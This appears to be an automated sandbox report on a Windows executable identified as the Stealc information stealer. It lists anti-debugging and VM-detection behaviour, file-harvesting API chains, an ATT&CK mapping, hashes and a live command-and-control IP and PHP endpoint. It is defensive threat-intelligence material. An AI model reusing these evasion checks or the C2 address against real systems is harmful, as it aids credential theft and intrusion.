Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF822D second address: DF8237 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6999135DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8237 second address: DF8240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8240 second address: DF8246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06EEC second address: E06EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E075A7 second address: E075AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E075AD second address: E075DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F699913D301h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F699913D301h 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E078A1 second address: E078A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E078A5 second address: E078BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D304h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A6D second address: E07A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A71 second address: E07A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A75 second address: E07A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A7B second address: E07A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F699913D304h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07BDB second address: E07C05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6999135DEFh 0x00000009 jmp 00007F6999135DF4h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07C05 second address: E07C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AC3B second address: E0AC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0AC41 second address: E0AC8A instructions: 0x00000000 rdtsc 0x00000002 je 00007F699913D2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jmp 00007F699913D308h 0x00000016 jns 00007F699913D2F8h 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 je 00007F699913D2FCh 0x00000026 jne 00007F699913D2F6h 0x0000002c je 00007F699913D2FCh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DA8D second address: E0DA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6999135DE6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0DA98 second address: E0DAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F699913D2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508025A second address: 50802C4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6999135DF9h 0x00000008 xor al, FFFFFFF6h 0x0000000b jmp 00007F6999135DF1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F6999135DF0h 0x00000019 jmp 00007F6999135DF5h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6999135DECh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50802C4 second address: 508030E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D2FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F699913D302h 0x00000011 mov edx, esi 0x00000013 popad 0x00000014 mov di, ax 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F699913D305h 0x00000022 pop esi 0x00000023 movsx ebx, si 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508030E second address: 508032C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508032C second address: 5080347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080378 second address: 5080391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080391 second address: 5080397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080397 second address: 50803D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F6999135DF4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6999135DF7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50803D0 second address: 508040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F699913D308h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508040B second address: 508041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508041A second address: 5080420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080420 second address: 5080424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080424 second address: 508045C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F699913D308h 0x00000012 sbb esi, 263EB368h 0x00000018 jmp 00007F699913D2FBh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27754 second address: D27759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B81A7C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D1BA35 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D42763 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2C417 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_009338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_009338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00934910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00934910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0092DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0092E430
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0092ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00934570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	1_2_00934570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0092F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00933EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00933EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_009216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_009216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0092DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0092BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	1_2_0092BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00921160 GetSystemInfo,ExitProcess,

1_2_00921160

Source: file.exe, file.exe, 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000001.00000002.1386340367.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.0000000001085000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarep
Source: file.exe, 00000001.00000002.1386340367.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: file.exe, 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-13229
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-13232
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-13250
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-13283
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_1-13242

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_009245C0 VirtualProtect ?,00000004,00000100,00000000

1_2_009245C0

Source: C:\Users\user\Desktop\file.exe

1_2_00939860

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00939750 mov eax, dword ptr fs:[00000030h]

1_2_00939750

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_009378E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

1_2_009378E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00939600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00939600

Source: file.exe, file.exe, 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_00937B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00937980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

1_2_00937980

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00937850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

1_2_00937850

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00937A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

1_2_00937A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1340711226.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 1.2.file.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1340711226.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
http://185.215.113.37/	18%	Virustotal	Browse
http://185.215.113.37/e2b1563c6670f193.php_	17%	Virustotal	Browse
http://185.215.113.37	18%	Virustotal	Browse
http://185.215.113.37/e2b1563c6670f193.php	19%	Virustotal	Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	19%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000001.00000002.1386340367.000000000109B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.php_	file.exe, 00000001.00000002.1386340367.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521035
Start date and time:	2024-09-28 03:22:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.103
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9472024442379405
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'846'784 bytes
MD5:	e904093ef887cb372b3fe7ab75e6c6c7
SHA1:	aece57bd3cbb0bc1818fe026100f30783a6e3f55
SHA256:	b99711aa1ee5a0ca9cfcc53dff0ffcab9f2800afad74a0633b1488fe2afa47b7
SHA512:	6876fa64ce5fc0f7a2b80368d2128b96262cf2dc9889bb2f5d3068c20dfd04f37fecd3095e941535cbc1de9be996411b3f617062f7364bf2ad28b404843dfd2d
SSDEEP:	49152:cusYocs8XFCmtRatofH5UIcOKO6KSRcIleAuFdJ:ck9s8XAuRy4H5CR9WoeAu
TLSH:	2B8533577D77EA39EDDF02FE0B77D529760039867ABD5002A11832D26119FE8F829438
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa97000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F699880E83Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
